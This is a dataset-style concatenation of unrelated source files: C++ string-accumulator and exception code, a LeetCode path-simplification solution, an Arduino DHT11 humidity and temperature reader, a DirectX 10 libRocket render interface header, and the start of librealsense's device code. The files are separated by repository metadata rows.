but the StringAccum's out-of-memory state is reset. */
String
StringAccum::take_string()
{
int len = length();
int cap = r_.cap;
char* str = reinterpret_cast<char*>(r_.s);
if (len > 0 && cap > 0) {
String::memo_type* memo =
reinterpret_cast<String::memo_type*>(r_.s - memo_space);
memo->initialize(cap, len);
r_ = rep_t();
return String(str, len, memo);
} else if (!out_of_memory())
return String();
else {
clear();
return String::make_out_of_memory();
}
}
/** @brief Swap this StringAccum's contents with @a x. */
void
StringAccum::swap(StringAccum &x)
{
rep_t xr = x.r_;
x.r_ = r_;
r_ = xr;
}
/** @relates StringAccum
@brief Append decimal representation of @a i to @a sa.
@return @a sa */
StringAccum &
operator<<(StringAccum &sa, long i)
{
if (char *x = sa.reserve(24)) {
int len = snprintf(x, 24, "%ld", i);
sa.adjust_length(len);
}
return sa;
}
/** @relates StringAccum
@brief Append decimal representation of @a u to @a sa.
@return @a sa */
StringAccum &
operator<<(StringAccum &sa, unsigned long u)
{
if (char *x = sa.reserve(24)) {
int len = snprintf(x, 24, "%lu", u);
sa.adjust_length(len);
}
return sa;
}
/** @relates StringAccum
@brief Append decimal representation of @a i to @a sa.
@return @a sa */
StringAccum &
operator<<(StringAccum &sa, long long i)
{
if (char *x = sa.reserve(24)) {
int len = snprintf(x, 24, "%lld", i);
sa.adjust_length(len);
}
return sa;
}
/** @relates StringAccum
@brief Append decimal representation of @a u to @a sa.
@return @a sa */
StringAccum &
operator<<(StringAccum &sa, unsigned long long u)
{
if (char *x = sa.reserve(24)) {
int len = snprintf(x, 24, "%llu", u);
sa.adjust_length(len);
}
return sa;
}
StringAccum &
operator<<(StringAccum &sa, double d)
{
if (char *x = sa.reserve(256)) {
int len = snprintf(x, 256, "%.12g", d);
sa.adjust_length(len);
}
return sa;
}
/** @brief Append result of vsnprintf() to this StringAccum.
@param n maximum number of characters to print
@param format format argument to snprintf()
@param val argument set
@return *this
@sa snprintf */
StringAccum &
StringAccum::vsnprintf(int n, const char *format, va_list val)
{
if (char *x = reserve(n + 1)) {
#if HAVE_VSNPRINTF
int len = ::vsnprintf(x, n + 1, format, val);
#else
int len = vsprintf(x, format, val);
assert(len <= n);
#endif
adjust_length(len);
}
return *this;
}
/** @brief Append result of snprintf() to this StringAccum.
@param n maximum number of characters to print
@param format format argument to snprintf()
@return *this
The terminating null character is not appended to the string.
@note The safe vsnprintf() variant is called if it exists. It does in
the Linux kernel, and on modern Unix variants. However, if it does not
exist on your machine, then this function is actually unsafe, and you
should make sure that the printf() invocation represented by your
arguments will never write more than @a n characters, not including the
terminating null.
@sa vsnprintf */
StringAccum &
StringAccum::snprintf(int n, const char *format, ...)
{
va_list val;
va_start(val, format);
vsnprintf(n, format, val);
va_end(val);
return *this;
}
void
StringAccum::append_break_lines(const String& text, int linelen, const String &leftmargin)
{
if (text.length() == 0)
return;
const char* line = text.begin();
const char* ends = text.end();
linelen -= leftmargin.length();
for (const char* s = line; s < ends; s++) {
const char* start = s;
while (s < ends && isspace((unsigned char) *s))
s++;
const char* word = s;
while (s < ends && !isspace((unsigned char) *s))
s++;
if (s - line > linelen && start > line) {
*this << leftmargin;
append(line, start - line);
*this << '\n';
line = word;
}
}
if (line < text.end()) {
*this << leftmargin;
append(line, text.end() - line);
*this << '\n';
}
}
| [
"ekohler@gmail.com"
] | ekohler@gmail.com |
bc64102c8317520f8bf1d64762159ab52cf824ff | 842b5764fde3913b533c4c364a2101dadaf5c408 | /lib/Thread/src/Exception.cpp | 89dbff9e7dd4f5f8398c3aa65d0b8ee56ef499eb | [] | no_license | Adpa18/plazza | ae4b2f75ef8f68f64ecb541fe13c20f3d80b40b2 | 0f4f9158d0b0107d5ddc7e6b112d6a34fcabfef0 | refs/heads/master | 2021-01-24T08:57:23.090847 | 2016-04-24T22:15:45 | 2016-04-24T22:15:45 | 69,242,800 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 266 | cpp | //
// Created by babiole on 11/04/16.
//
#include "../inc/Exception.hpp"
Exception::Exception(std::string const &msg) throw() : m_msg(msg)
{ }
Exception::~Exception(void) throw() { }
const char* Exception::what(void) const throw() {
return m_msg.c_str();
}
| [
"nicolas.epitech.eu"
] | nicolas.epitech.eu |
29454e8e9407e7b3508fcf1293f51d506ca70ddf | 4b2741a424993dd2fdc4169995e64c9981246c77 | /C++/71_SimplifyPath.cpp | b926dedeac784acf96095a24840e015e59974e72 | [] | no_license | UrMagicIsMine/LeetCode-Sol | 6828507e733e1267369ba1b484dc4ef1b4c193ce | b5fe858adfd22d0084975a74a7b4f39c4e5b7d3d | refs/heads/master | 2021-04-30T14:14:26.361993 | 2020-09-20T23:47:44 | 2020-09-20T23:47:44 | 121,192,645 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,231 | cpp | /* Given an absolute path for a file (Unix-style), simplify it.
For example,
path = "/home/", => "/home"
path = "/a/./b/../../c/", => "/c"
click to show corner cases.
Corner Cases:
Did you consider the case where path = "/../"?
In this case, you should return "/".
Another corner case is the path might contain multiple slashes '/' together,
such as "/home//foo/".
In this case, you should ignore redundant slashes and return "/home/foo".
*/
#include <vector>
#include <string>
#include <stack>
#include <cassert>
using namespace std;
string simplifyPath(string path) {
stack<string> stPaths;
int i = 0, n = path.size();
while (i < n) {
while (i < n && path[i] == '/')
i++;
int pos = i;
while (i < n && path[i] != '/')
i++;
string sz = path.substr(pos, i - pos);
if (sz == "." || sz.empty()) {
continue;
}
else if (sz == "..") {
if (!stPaths.empty())
stPaths.pop();
}
else {
stPaths.push(sz);
}
}
if (stPaths.empty())
return "/";
string ret;
while (!stPaths.empty()) {
ret = "/" + stPaths.top() + ret;
stPaths.pop();
}
return ret;
}
int main()
{
string path = "/a/./b/../../c/";
string ans = "/c";
string ret = simplifyPath(path);
assert(ret == ans);
return 0;
}
| [
"36392090+UrMagicIsMine@users.noreply.github.com"
] | 36392090+UrMagicIsMine@users.noreply.github.com |
4fb689ec21e6e2ddcad7040aaff1f2190398e91f | c2f66d4fd8ff7aa90367f1d2466393d6f0c0291d | /humTem/humTem.ino | 2f6fb87339725cab806f2702043a4b82d0f2492c | [] | no_license | V-KING/Arduino | 5872001136834a63edc8d8414a241750c6df82a6 | 24f833ec66a9683b35f52ead6657f805f8b8defe | refs/heads/master | 2020-05-23T14:07:55.588765 | 2014-06-25T04:09:13 | 2014-06-25T04:14:00 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,616 | ino | #define DHTPIN11 A0
void setup()
{
Serial.begin(9600);
Serial.println("DHT11 begin");
}
void loop()
{
long hum_10=0, hum_01=0, temp_10=0, temp_01=0, chksum=0,chk=0;
delay(1000); //上电等1s
//设置为输入,并上拉为高电平
pinMode(DHTPIN11, INPUT);
digitalWrite(DHTPIN11,HIGH);
pinMode(DHTPIN11,OUTPUT);
digitalWrite(DHTPIN11,LOW);
delay(18);
digitalWrite(DHTPIN11,HIGH);
delayMicroseconds(40);
//将数据线设置为输入模式,释放了总线
//现在Arduino接收DHT11的80us低电平回应
//什么时候结束?因该是Arduino收到一个下降沿时
pinMode(DHTPIN11,INPUT);
while(LOW==digitalRead(DHTPIN11));
//DHT11 告诉Arduino我要拉高准备
//Arduino怎么知道DHT已经准备好了呢?
while(HIGH==digitalRead(DHTPIN11));
//现在开始读了
for(int i=0; i<40; i++)
{
if(i < 8) //one byte
{
hum_10 <<= 1;
while(digitalRead(DHTPIN11) == LOW);
unsigned long t = micros();
while(digitalRead(DHTPIN11)== HIGH);
if((micros()-t) > 40){
hum_10 |= 0x01;
}
}
else if(i < 16) // two byte
{
hum_01 <<= 1;
while(digitalRead(DHTPIN11) == LOW);
unsigned long t = micros();
while(digitalRead(DHTPIN11)== HIGH);
if((micros()-t) > 40){
hum_10 |= 0x01;
}
}
else if(i < 24) // three byte
{
temp_10 <<= 1;
while(digitalRead(DHTPIN11) == LOW);
unsigned long t = micros();
while(digitalRead(DHTPIN11)== HIGH);
if((micros()-t) > 40){
temp_10 |= 0x01;
}
}
else if(i < 32) // four byte
{
temp_01 <<= 1;
while(digitalRead(DHTPIN11) == LOW);
unsigned long t = micros();
while(digitalRead(DHTPIN11)== HIGH);
if((micros()-t) > 40){
temp_01 |= 0x01;
}
}
else // five byte checksum
{
chksum <<= 1;
while(digitalRead(DHTPIN11) == LOW);
unsigned long t = micros();
while(digitalRead(DHTPIN11)== HIGH);
if((micros()-t) > 40){
chksum |= 0x01;
}
}
}
chk = hum_10; // Calculate to Checksum
chk += hum_01;
chk += temp_10;
chk += temp_01;
if(chk != chksum){ // Received data is OK
Serial.println("chksum is not right");
return ;
}
else{
Serial.println("chksum is right,data recv succese");
}
Serial.print("Hum:"); //串口调试
Serial.print(hum_10);
Serial.print(".");
Serial.println(hum_01);
Serial.print("Temp:"); //串口调试
Serial.print(temp_10);
Serial.print(".");
Serial.println(temp_01);
delay(2000);
}
| [
"firebaolong@163.com"
] | firebaolong@163.com |
f9b3109572ded0e5b0f84e68afe5cac5e9210ef3 | e3693d45f1e3320812eeda6cd0f8a261b6c2b6ad | /RenderInterfaceDx10.h | bf12b0b865ae4190afdbb59bf6f5d196416823ed | [] | no_license | Hoodad/LibRocket | a7365c546542eea1c6891037f1a3ae681a44fc9e | 7e49a224c191ca61c4b2d201574a1835c6349a2d | refs/heads/master | 2020-04-12T00:48:15.402810 | 2012-11-16T19:49:08 | 2012-11-16T19:49:08 | 6,701,532 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 4,194 | h | #ifndef RENDERINTERFACEDX10_H
#define RENDERINTERFACEDX10_H
#include <d3d10.h>
#include <d3dx10.h>
#include <vector>
#include <Rocket/Core.h>
#include "Utils.h"
#include "VertexTexture.h"
#include "Texture.h"
using namespace std;
// The internal format of the vertex we use for rendering Rocket geometry.
// We could optimise space by having a second
// untextured vertex for use when rendering coloured borders and backgrounds.
struct VertexRocket
{
D3DXVECTOR3 pos;
D3DXCOLOR color;
D3DXVECTOR2 texCoord;
};
// This structure is created for each set of geometry that Rocket compiles.
// It stores the vertex and index buffers and
// the texture associated with the geometry, if one was specified.
struct RocketDx10CompiledGeometry
{
vector<VertexRocket> vertices;
DWORD num_vertices;
vector<unsigned int> indices;
DWORD num_primitives;
Texture* texture;
ID3D10Buffer* vertexBuffer;
ID3D10Buffer* indexBuffer;
};
class RenderInterfaceDx10 : public Rocket::Core::RenderInterface
{
private:
typedef VertexRocket VertexType; //change this per impl
ID3D10Device* device;
//==============================================
//Added for dx10
//==============================================
//States
ID3D10RasterizerState* rs_scissorsOn;
ID3D10RasterizerState* rs_scissorsOff;
ID3D10BlendState* bs_normal;
//FX
ID3D10Effect* effect;
ID3D10EffectTechnique* technique;
ID3D10EffectPass* pass;
D3D10_PASS_DESC PassDesc;
int techNr;
int passNr;
//input layout
D3D10_INPUT_ELEMENT_DESC* layoutDesc;
UINT numElements;
ID3D10InputLayout* inputLayout;
//matrices for transformations
ID3D10EffectMatrixVariable* fxVar_world;
D3DXMATRIX mat_world;
/// Default textures
Texture* defaultTex;
public:
RenderInterfaceDx10(ID3D10Device* _device, ID3D10Effect* _effect, int _techNr, int _passNr);
virtual ~RenderInterfaceDx10();
/// Called by Rocket when it wants to render geometry that it does not wish to optimise.
virtual void RenderGeometry(Rocket::Core::Vertex* vertices, int num_vertices, int* indices, int num_indices, Rocket::Core::TextureHandle texture, const Rocket::Core::Vector2f& translation);
/// Called by Rocket when it wants to compile geometry it believes will be static for the forseeable future.
virtual Rocket::Core::CompiledGeometryHandle CompileGeometry(Rocket::Core::Vertex* vertices, int num_vertices, int* indices, int num_indices, Rocket::Core::TextureHandle texture);
/// Called by Rocket when it wants to render application-compiled geometry.
virtual void RenderCompiledGeometry(Rocket::Core::CompiledGeometryHandle geometry, const Rocket::Core::Vector2f& translation);
/// Called by Rocket when it wants to release application-compiled geometry.
virtual void ReleaseCompiledGeometry(Rocket::Core::CompiledGeometryHandle geometry);
/// Called by Rocket when it wants to enable or disable scissoring to clip content.
virtual void EnableScissorRegion(bool enable);
/// Called by Rocket when it wants to change the scissor region.
virtual void SetScissorRegion(int x, int y, int width, int height);
/// Called by Rocket when a texture is required by the library.
virtual bool LoadTexture(Rocket::Core::TextureHandle& texture_handle, Rocket::Core::Vector2i& texture_dimensions, const Rocket::Core::String& source);
/// Called by Rocket when a texture is required to be built from an internally-generated sequence of pixels.
virtual bool GenerateTexture(Rocket::Core::TextureHandle& texture_handle, const byte* source, const Rocket::Core::Vector2i& source_dimensions);
/// Called by Rocket when a loaded texture is no longer required.
virtual void ReleaseTexture(Rocket::Core::TextureHandle texture_handle);
/// Returns the native horizontal texel offset for the renderer.
float GetHorizontalTexelOffset();
/// Returns the native vertical texel offset for the renderer.
float GetVerticalTexelOffset();
//==============================================
//Added for dx10
//==============================================
void defineInputElementDesc();
void defineBlendState();
virtual void initPipeline();
virtual void initFxVars();
virtual void initDefaultTex();
};
#endif //RENDERINTERFACEDX10_H | [
"robin.thunstrom@gmail.com"
] | robin.thunstrom@gmail.com |
29911e5bb3fb60d8a29821deda53484e9d71bd30 | 7c6cea41a6aec80365cb20962b803b7b43eacdb7 | /include/gwmAnalyzer.h | 029f18051413a1e574ab4f56917b18e83b989fb9 | [] | no_license | kold3d/gwm_anasen | 322fe7fd431cb0e53c3803f4e6215bb46517dc47 | 68ea35a65e18f2c55f0c9bd8b8d7bb9b6dbec384 | refs/heads/master | 2020-08-02T15:59:46.335359 | 2019-08-09T15:52:10 | 2019-08-09T15:52:10 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,410 | h | /*gwmAnalyzer.h
*Analyzer class for ANASEN Detector in Active Target mode. Contains all functions necessary to
*sort data and calculate physical values. Will do everything from making all of the tracking data
*up to calling the experiment dependant reconstruction and sorting and storing all data. Current
*asks user for the name of a data list file, an output file, and three cut files
*
*Gordon M. -- April 2019
*Based on previous versions written by M. Anastasiou, N. Rijal, J. Parker, et al
*/
#ifndef GWM_ANALYZER_H
#define GWM_ANALYZER_H
#include <iostream>
#include <iomanip>
#include <fstream>
#include <cstdlib>
#include <string>
#include <sstream>
#include <exception>
#include <stdexcept>
#include <map>
#include <vector>
#include <TROOT.h>
#include <TFile.h>
#include <TTree.h>
#include <TObjArray.h>
#include <TGraph.h>
#include <TH1.h>
#include <TH2.h>
#include <TStyle.h>
#include <TMath.h>
#include <TRandom1.h>
#include <TCutG.h>
#include <TLorentzVector.h>
#include <TVector3.h>
#include "Track.h"
#include "SiHit.h"
#include "PCHit.h"
#include "CsIHit.h"
#include "LookUp.h"
#include "Reconstruct.h"
using namespace std;
class analyzer {
public:
analyzer();
~analyzer();
void run();
void SetFlag(string flagName);
private:
/**********Private Functions************/
Int_t FindMaxPC(Double_t phi, PCHit& PC);
Int_t FindGoodCsI(Double_t phi, CsIHit& CsI);
Int_t FindMaxSi(Double_t phi, SiHit& Si);
vector<Int_t> FindGoodCsI_Vector(Double_t phi, CsIHit& CsI);
void getCut(string pcutfile, string acutfile, string he3cutfile, string dcutfile, string
jacutfile);
void recoilReset(RecoilEvent &recoil);
bool RecoverTrack1(TrackEvent track1, TrackEvent &track2);
bool MCP_RF();
void Track1();
void Track2();
void Track3();
void PCPlotting();
void EdEcor();
void TrackCalc();
void PCWireCalibration();
void PCPlotting2();
void CalcRecoilE();
void CalcSmAngleAlphas();
void ReconstructMe();
void ElasticScatter();
void MyFill(string name, int binsX, double lowX, double highX, double valueX);
void MyFill(string name, int binsX, double lowX, double highX, double valueX,
int binsY, double lowY, double highY, double valueY);
vector<Double_t> GetPCWireRadius();
Double_t PhiDiff(Float_t phi1, Float_t phi2);
/************Flags****************/
int PCPlots, PCPlots_2, Beam_and_Eloss, FillTree, FillEdE_cor, MCP_RF_Cut,
ReadPCWire, PCWireCal, ResidualEnergy_Calc, ResidualEnergy_Calc_20Ne,
Reconstruction_Session, Elastic_Scat_Alpha, cutFlag;
/***********Class Constants******/
//Detector Class Parameters
const int MaxSiHits = 500, MaxADCHits = 500, MaxTDCHits = 500, MaxTracks = 100,
MaxCsIHits = 500, DiffIP = 2;
const static int NPCWires = 24;
string be7eloss_name, he3eloss_name, he4eloss_name, peloss_name, deloss_name;
//Conversions, physical measurements
const float rads2deg = 57.27272727, Pcr = 3.846264509, ana_length = 55.0545;
//Nuclear Masses (MeV)
const float m_p = 938.27206671856, m_alpha = 3727.37929745092, m_7be = 6534.1836677282,
m_3he = 2808.3915032078, m_8be = 7454.85043438849, m_6li = 5601.518452737,
m_7li = 6533.83277448969, m_d = 1875.61291385342, m_5he = 4667.67970996292,
m_n = 1875.61291385342, m_5li = 4667.6163636366931;
//Beam & Reaction Parameters (MeV)
const float BeamE = 17.19, QValue_8Be = 16.674, QValue_6Li = -0.1133726;
/**********Private Variables***********/
//Storage
TList *fhlist;
map<string, TH1*> fhmap;
TCutG *protonCut, *alphaCut, *he3Cut, *deutCut, *joinedAlphaCut;
TObjArray *rootObj;
vector<Double_t> WireRadii;
//Detectors
SiHit Si;
PCHit PC;
CsIHit CsI;
//Energy loss lookups
LookUp *be7_eloss, *alpha_eloss, *proton_eloss, *deuteron_eloss, *he3_eloss;
//Tree and Histogram Parameters
Track tracks;
Int_t RFTime, MCPTime, TDC2, input_RFTime, input_MCPTime, input_TDC2;
RecoilEvent Li6, Be8_1p, Be8_1p_2a, Li6_qval, Be8_1p_qval, Be8_1p_2a_qval, Be8_1p_any,
Be8_1p_any_qval, Li5, Li5_qval;
Double_t PCGoodEnergy[NPCWires], PCGoodPCZ[NPCWires];
vector<vector<Double_t>> SiEnergy_vec;
Double_t SiGoodEnergy[28];
};
#endif
| [
"gmccann@fsu.edu"
] | gmccann@fsu.edu |
dd6b6a092b50623fc58d9236bd4f7d27df8a4bf0 | 986cfe4c79e595722e34ded6aa08fce53cdfbe97 | /HOMEWORK14/tictactoe.cpp | 05949f051f3970721b4f98a115f4c0b48934c715 | [] | no_license | kartashowRoman/C-C-Qt-course | c32623808d6d870c5cc44a25b0974e1b0681348c | a15e17ab692a6ed5f557419e4ffb94dffef9d460 | refs/heads/master | 2020-08-25T05:43:57.187125 | 2020-06-15T11:22:01 | 2020-06-15T11:22:01 | 216,969,504 | 0 | 0 | null | 2019-10-23T04:42:29 | 2019-10-23T04:42:28 | null | UTF-8 | C++ | false | false | 6,995 | cpp | #include <iostream>
#include <string>
#include <cstdlib>
#define PLAYER2 2
class Board {
public:
Board():board {" -"," -"," -"," -"," -"," -"," -"," -"," -",}{}
~Board(){}
std::string board[9];
};
//отображение игрового поля
class Display : public Board {
public:
Display(): mode(0){}
int ChooseGameMode(){
std::cout<<"Режим игры: \n1.С компьютером\n2.С игроком\n";
std::cin>>this->mode;
return this->mode;
}
int DrawBoard();
~Display(){}
int mode;
};
//
Display board;
//результат игры
class Result{
public:
Result(){}
int Tie();
int Win(std::string slot);
~Result(){}
};
Result result;
//игрок1
class PlayerX {
public:
PlayerX():move(" X"),move_count_x(0){}
int Check(int line, int column);
int Move(){
std::cout<<"\nХодит игрок 1\n";
int line = 0;
int column = 0;
std::cout<<"Номер строки \n";
std::cin>>line;
std::cout<<"Номер столбца \n";
std::cin>>column;
switch (line){
case 1:
Check(line,column);
board.board[column-1] = move;
break;
case 2:
Check(line,column);
board.board[2+column] = move;
break;
case 3:
Check(line,column);
board.board[5+column] = move;
break;
}
move_count_x++;
result.Tie();
result.Win(move);
return board.DrawBoard();
}
~PlayerX(){}
std::string move;
int move_count_x;
};
//игрок2
class PlayerO{
public:
PlayerO():move(" O"), move_count_o(0){}
int Check(int line, int column);
int Move(){
std::cout<<"\nХодит игрок 2\n";
int line = 0;
int column = 0;
std::cout<<"Номер строки \n";
std::cin>>line;
std::cout<<"Номер столбца \n";
std::cin>>column;
switch (line){
case 1:
Check(line,column);
board.board[column-1] = move;
break;
case 2:
Check(line,column);
board.board[2+column] = move;
break;
case 3:
Check(line,column);
board.board[5+column] = move;
break;
}
move_count_o++;
result.Win(move);
return board.DrawBoard();
}
~PlayerO(){}
std::string move;
int move_count_o;
};
int Again();
class Computer{
public:
Computer():move_count_o(0){}
int Move(){
std::cout<<"\nХодит АльфаСтар\n";
int slot = rand() % 9;
if(board.board[slot] == " -")
{
board.board[slot] = " O";
} else
return Again();
move_count_o++;
return board.DrawBoard();
}
~Computer(){}
int move_count_o;
};
PlayerX Player1;
PlayerO Player2;
Computer computer;
// возвращение для компьютера
int Again(){
srand (1);
return computer.Move();
}
//Прорисовка игрового поля
int Display::DrawBoard(){
std::cout<<"\nИГРА КРЕСТИКИ-НОЛИКИ\n\n\n";
std::cout<<' ';
for(int i = 0; i < 3; i++)
std::cout<<" "<<i+1;
std::cout<<std::endl;
std::cout<<1;
for(int i = 0; i < 3; i++)
{
std::cout<<board[i];
}
std::cout<<std::endl;
std::cout<<2;
for(int i = 3; i < 6; i++)
std::cout<<board[i];
std::cout<<std::endl;
std::cout<<3;
for(int i = 6; i < 9; i++)
std::cout<<board[i];
std::cout<<std::endl;
switch(mode){
case 2:
if(Player1.move_count_x <= Player2.move_count_o)
return Player1.Move();
else
return Player2.Move();
break;
case 1:
if(Player1.move_count_x <= computer.move_count_o)
return Player1.Move();
else
return computer.Move();
break;
}
}
//Проверка для игрока 1
int PlayerX::Check(int line, int column){
switch (line){
case 1:
if(board.board[column-1] == " X" || board.board[column-1] == " O")
return Player1.Move();
break;
case 2:
if(board.board[2+column] == " X" || board.board[2+column] == " O")
return Player1.Move();
break;
case 3:
if(board.board[5+column] == " X" || board.board[5+column] == " O")
return Player1.Move();
break;
}
}
//Проверка для игрока 2
int PlayerO::Check(int line, int column){
switch (line){
case 1:
if( board.board[column-1] == " X"|| board.board[column-1] == " O")
return Player2.Move();
break;
case 2:
if( board.board[2+column] == " X"|| board.board[2+column] == " O")
return Player2.Move();
break;
case 3:
if(board.board[5+column] == " X"|| board.board[5+column] == " O")
return Player2.Move();
break;
}
}
// обнуление поля
int Null(){
for(int i = 0; i < 9; i++)
board.board[i]=" -";
Player1.move_count_x = 0;
Player2.move_count_o = 0;
computer.move_count_o = 0;
return board.ChooseGameMode();
}
//////////// проверка на ничью
int Result::Tie(){
if(Player1.move_count_x == 5)
{
std::cout<<"////////////Ничья////////////\n";
for(int i = 0; i < 9; i++)
board.board[i]=" -";
Player1.move_count_x = 0;
Player2.move_count_o = 0;
computer.move_count_o = 0;
return board.ChooseGameMode();
}
}
// неукляюжая проверка на победу
int Result::Win(std::string slot){
int x = 0;
for(int i = 0; i < 9; i+=4)
{
if(board.board[i] == slot)
{
x++;
}
}
if(x == 3)
{
std::cout<<"////////////Победил"<<slot<<"////////////\n";
return Null();
}
x = 0;
for(int i = 2; i < 7; i+=2)
{
if(board.board[i] == slot)
{
x++;
}
}
if(x == 3)
{
std::cout<<"////////////Победил"<<slot<<"////////////\n";
return Null();
}
x = 0;
for(int i = 0; i < 3; i++)
{
if(board.board[i] == slot)
{
x++;
}
}
if(x == 3)
{
std::cout<<"////////////Победил"<<slot<<"////////////\n";
return Null();
}
x = 0;
for(int i = 3; i < 6; i++)
{
if(board.board[i] == slot)
{
x++;
}
}
if(x == 3)
{
std::cout<<"////////////Победил"<<slot<<"////////////\n";
return Null();
}
x = 0;
for(int i = 6; i < 9; i++)
{
if(board.board[i] == slot)
{
x++;
}
}
if(x == 3)
{
std::cout<<"////////////Победил"<<slot<<"////////////\n";
return Null();
}
x = 0;
for(int i = 0; i < 7; i+=3)
{
if(board.board[i] == slot)
{
x++;
}
}
if(x == 3)
{
std::cout<<"////////////Победил"<<slot<<"////////////\n";
return Null();
}
x = 0;
for(int i = 1; i < 8; i+=3)
{
if(board.board[i] == slot)
{
x++;
}
}
if(x == 3)
{
std::cout<<"////////////Победил"<<slot<<"////////////\n";
return Null();
}
x = 0;
for(int i = 2; i < 9; i+=3)
{
if(board.board[i] == slot)
{
x++;
}
}
if(x == 3)
{
std::cout<<"////////////Победил"<<slot<<"////////////\n";
return Null();
}
x = 0;
}
int main()
{
srand( time(NULL) );
board.ChooseGameMode();
board.DrawBoard();
Player1.Move();
if(board.mode == PLAYER2)
{
Player2.Move();
} else {
return computer.Move();
}
return 0;
}
| [
"roman.kartashow@yandex.ru"
] | roman.kartashow@yandex.ru |
23abd8fd1ae3bd06c9e9fd2228cd085ff7a814e4 | 6c6be0f1ee82e96750f71804ed2b7e54102e44d3 | /src/Thread/Thread.h | 48c09571f4711f36289855a21b6bef0e55af101d | [] | no_license | zhyawshhz/ChatRoom | 74210cff6a989a5bfa2a8780b6ed311455ca0568 | 15520e2ffb77edbaec2915e0006a696fdd9bc404 | refs/heads/master | 2020-04-14T22:51:12.135070 | 2016-01-26T09:22:39 | 2016-01-26T09:22:39 | 35,201,145 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 468 | h | #ifndef No1_Thread_Thread_h
#define No1_Thread_Thread_h
#include <pthread.h>
#include <boost/shared_ptr.hpp>
#include "Thread/ThrdObj.h"
#include "Config/Config.h"
class No1Thread
{
public:
No1Thread(const int id, const boost::shared_ptr<No1ThrdObj> obj);
~No1Thread();
private:
static void* threadFunc(void* args);
bool join();
bool cancel();
private:
int m_id;
pthread_t m_thrd_id;
boost::shared_ptr<No1ThrdObj> m_proc_obj;
};
#endif
| [
"zhyawshhz@163.com"
] | zhyawshhz@163.com |
cf824e9c2bd669ec67feb63ea66babfafaf4b226 | 63c3afb90482f08db8107749167f62c2503d6b1e | /src/External/librealsense/src/device.cpp | 36dcdc99578733e2f3319b9995527c4077bc09ae | [
"Zlib",
"BSL-1.0",
"LicenseRef-scancode-public-domain",
"BSD-3-Clause",
"LGPL-2.1-only",
"BSD-1-Clause",
"Apache-2.0",
"MIT",
"Python-2.0",
"MPL-2.0",
"Libpng"
] | permissive | zjudmd1015/Open3D | a927a9d23bbcb638952222371200253dcca816f2 | 245df0fd1d9174f061152fcca16ea4b9d88e6f68 | refs/heads/master | 2021-04-27T11:40:33.671200 | 2018-02-26T21:18:02 | 2018-02-26T21:18:02 | 122,565,962 | 1 | 0 | MIT | 2018-02-26T21:18:03 | 2018-02-23T02:59:27 | C | UTF-8 | C++ | false | false | 6,870 | cpp | // License: Apache 2.0. See LICENSE file in root directory.
// Copyright(c) 2015 Intel Corporation. All Rights Reserved.
#include "device.h"
#include "sync.h"
using namespace rsimpl;
rs_device::rs_device(std::shared_ptr<rsimpl::uvc::device> device, const rsimpl::static_device_info & info) : device(device), config(info), capturing(false),
depth(config, RS_STREAM_DEPTH), color(config, RS_STREAM_COLOR), infrared(config, RS_STREAM_INFRARED), infrared2(config, RS_STREAM_INFRARED2),
points(depth), rect_color(color), color_to_depth(color, depth), depth_to_color(depth, color), depth_to_rect_color(depth, rect_color), infrared2_to_depth(infrared2,depth), depth_to_infrared2(depth,infrared2)
{
streams[RS_STREAM_DEPTH ] = native_streams[RS_STREAM_DEPTH] = &depth;
streams[RS_STREAM_COLOR ] = native_streams[RS_STREAM_COLOR] = &color;
streams[RS_STREAM_INFRARED ] = native_streams[RS_STREAM_INFRARED] = &infrared;
streams[RS_STREAM_INFRARED2] = native_streams[RS_STREAM_INFRARED2] = &infrared2;
streams[RS_STREAM_POINTS] = &points;
streams[RS_STREAM_RECTIFIED_COLOR] = &rect_color;
streams[RS_STREAM_COLOR_ALIGNED_TO_DEPTH] = &color_to_depth;
streams[RS_STREAM_DEPTH_ALIGNED_TO_COLOR] = &depth_to_color;
streams[RS_STREAM_DEPTH_ALIGNED_TO_RECTIFIED_COLOR] = &depth_to_rect_color;
streams[RS_STREAM_INFRARED2_ALIGNED_TO_DEPTH] = &infrared2_to_depth;
streams[RS_STREAM_DEPTH_ALIGNED_TO_INFRARED2] = &depth_to_infrared2;
}
rs_device::~rs_device()
{
}
bool rs_device::supports_option(rs_option option) const
{
if(uvc::is_pu_control(option)) return true;
for(auto & o : config.info.options) if(o.option == option) return true;
return false;
}
void rs_device::enable_stream(rs_stream stream, int width, int height, rs_format format, int fps)
{
if(capturing) throw std::runtime_error("streams cannot be reconfigured after having called rs_start_device()");
if(config.info.stream_subdevices[stream] == -1) throw std::runtime_error("unsupported stream");
config.requests[stream] = {true, width, height, format, fps};
for(auto & s : native_streams) s->archive.reset(); // Changing stream configuration invalidates the current stream info
}
void rs_device::enable_stream_preset(rs_stream stream, rs_preset preset)
{
if(capturing) throw std::runtime_error("streams cannot be reconfigured after having called rs_start_device()");
if(!config.info.presets[stream][preset].enabled) throw std::runtime_error("unsupported stream");
config.requests[stream] = config.info.presets[stream][preset];
for(auto & s : native_streams) s->archive.reset(); // Changing stream configuration invalidates the current stream info
}
void rs_device::disable_stream(rs_stream stream)
{
if(capturing) throw std::runtime_error("streams cannot be reconfigured after having called rs_start_device()");
if(config.info.stream_subdevices[stream] == -1) throw std::runtime_error("unsupported stream");
config.requests[stream] = {};
for(auto & s : native_streams) s->archive.reset(); // Changing stream configuration invalidates the current stream info
}
void rs_device::start()
{
if(capturing) throw std::runtime_error("cannot restart device without first stopping device");
auto selected_modes = config.select_modes();
auto archive = std::make_shared<frame_archive>(selected_modes, select_key_stream(selected_modes));
auto timestamp_reader = create_frame_timestamp_reader();
for(auto & s : native_streams) s->archive.reset(); // Starting capture invalidates the current stream info, if any exists from previous capture
// Satisfy stream_requests as necessary for each subdevice, calling set_mode and
// dispatching the uvc configuration for a requested stream to the hardware
for(auto mode_selection : selected_modes)
{
// Create a stream buffer for each stream served by this subdevice mode
for(auto & stream_mode : mode_selection.get_outputs())
{
// If this is one of the streams requested by the user, store the buffer so they can access it
if(config.requests[stream_mode.first].enabled) native_streams[stream_mode.first]->archive = archive;
}
// Initialize the subdevice and set it to the selected mode
set_subdevice_mode(*device, mode_selection.mode.subdevice, mode_selection.mode.native_dims.x, mode_selection.mode.native_dims.y, mode_selection.mode.pf.fourcc, mode_selection.mode.fps,
